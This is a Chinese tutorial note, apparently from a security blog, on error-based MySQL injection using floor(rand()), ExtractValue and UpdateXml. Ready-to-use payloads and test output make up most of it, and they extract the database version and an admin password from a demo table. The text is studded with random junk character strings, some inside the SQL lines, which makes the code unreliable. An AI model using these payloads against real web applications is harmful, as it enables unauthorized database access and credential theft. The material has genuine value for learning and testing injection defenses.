关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
' n7 e) n( Q7 k: B, a" N实际测试环境：
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0 c& F- Z3 K) c0 @5 fmysql> show tables;
+----------------+
| Tables_in_test |
" G4 G7 A8 E+ ~9 l1 N5 j4 H( D+----------------+
1 T' Y0 _( M  U% V0 ~| admin          |
, Q: v. Q2 o0 |" ~, D* v  ^6 Z# m| article        |
; m- p* ~% {  m( m' C) M! C+----------------+
, O  }8 q9 B0 F* ~
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4 \- E6 d+ b2 h! q, cmysql> describe admin;
- E3 B9 g/ Q1 e: t6 l* ~+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
  x5 ]" G" a$ D& _% u+ N+-------+------------------+------+-----+---------+----------------+
  q4 z# f8 z5 ]; P) o  C" P| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
( t6 T" W$ E8 S4 \3 g& I7 R| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
4 ~% [, _$ ^( C. j0 n  w, _/ [+-------+------------------+------+-----+---------+----------------+
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mysql> describe article;
& z1 P" @  @! f( O6 V# l, }+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
3 B5 [( `! ?) M# ]# P| content | varchar(50)      | NO   |     | NULL    |                |
3 x# X' L7 ?9 O+ z! g+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码

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8 p+ c+ `( h, b9 |and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
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and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
7 Q0 }# y$ D2 y4 qfloor(rand(0)*2)));
& W, `  x4 ~5 X4 E" i: i举例如下：
首先进行正常查询：

3 v( B# n" p# d+ k3 y: [& Jmysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
|  1 | test  | do it   |
0 V. Z+ [# ]# ~: n% p% k+ `2 Y) O4 x+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。

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; z1 T  a) m( \! Jmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
9 E4 q; h5 M1 j+ X! B1 ]; yERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:

# Z$ `6 u! q6 q
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
/ H' C" Y8 n/ R) d/ u' |

mysql> select * from article where id = 1 and (select count(*)
6 Q) g" \" D, x) T2 E( B8 e  a4 dfrom (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
7 P  {0 f: ^# y5 p! ^ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
6 _. a' E! \& Z: R2、ExtractValue
1 a& d$ h% _  v7 u0 g& W- Z) D% ~测试语句如下
  ?! T* [; s! A9 c
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& r( Y5 q. k6 V$ R- `, rand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
  r$ t8 e3 ^( p  n实际测试过程
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mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
8 o' ~. b+ E$ \- C- ~8 s(select pass from admin limit 1)));--
+ F& V4 ?7 I' D( C+ J6 iERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句

- F' t' k" H; N& }
. U# N! W4 b) U& Land 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
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mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
: b" M6 M: F( ]ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
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